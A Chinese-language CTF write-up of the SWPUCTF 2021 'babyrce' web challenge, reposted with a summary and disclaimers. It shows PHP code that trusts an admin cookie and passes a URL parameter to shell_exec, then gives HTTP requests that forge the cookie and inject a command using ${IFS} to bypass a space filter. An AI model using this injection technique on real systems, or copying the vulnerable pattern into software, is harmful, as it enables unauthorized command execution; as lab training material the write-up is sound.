文章总结: 这篇CTF题解分析了SWPUCTF2021新生赛的babyrce题目,展示了如何通过设置Cookieadmin=1访问受限页面,然后利用URL参数执行系统命令获取flag。文章详细解释了如何使用${IFS}绕过空格限制来执行命令,这是一个典型的远程代码执行漏洞利用案例。 综合评分: 85 文章分类: CTF,WEB安全,漏洞分析
[SWPUCTF 2021 新生赛]babyrce
原创
R0seK1ller
蟹堡安全团队
2025年12月15日 22:01 浙江
免责声明
免责声明:本CTF题解(WP)仅供安全技术研究与教育交流之用,作者不对读者依据本文进行的任何操作承担直接或间接责任。解题过程涉及的技术细节可能触及目标系统漏洞,请务必在合法授权环境或靶机中复现,严禁用于未授权的渗透、破坏或牟利行为。因环境差异、操作失误或理解偏差导致的任何损失,作者及发布平台概不负责。文中引用的工具、脚本与资源均保持原许可证,请遵守对应开源协议。若内容涉侵权或敏感信息,请及时联系删除。阅读即视为同意自行承担全部风险与合规义务。
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1)
{
include"../next.php";
}
else
echo"小饼干最好吃啦!";
?>
关键点:$_COOKIE[‘admin’]==1,如果Cookie中的admin参数的值等于1,那么就会将next.php的内容包含进来
GET / HTTP/1.1
Host: node5.anna.nssctf.cn:23781
Cookie: admin=1
Connection: close
看到提示rasalghul.php,使用GET请求去访问rasalghul.php这个文件
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a=shell_exec($ip);
echo$a;
}
?>
1.isset($_GET[‘url’] 需要设置 url 查询字符串
2.preg_match(“/ /”, $ip) url查询字符串的值不能存在空格
Linux环境中可以使用${IFS}绕过空格的限制
GET/rasalghul.php?url=cat${IFS}/flllllaaaaaagggggggHTTP/1.1
Host: node5.anna.nssctf.cn:23781
Cookie: admin=1
Connection: close
查看原文:《[SWPUCTF 2021 新生赛]babyrce》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论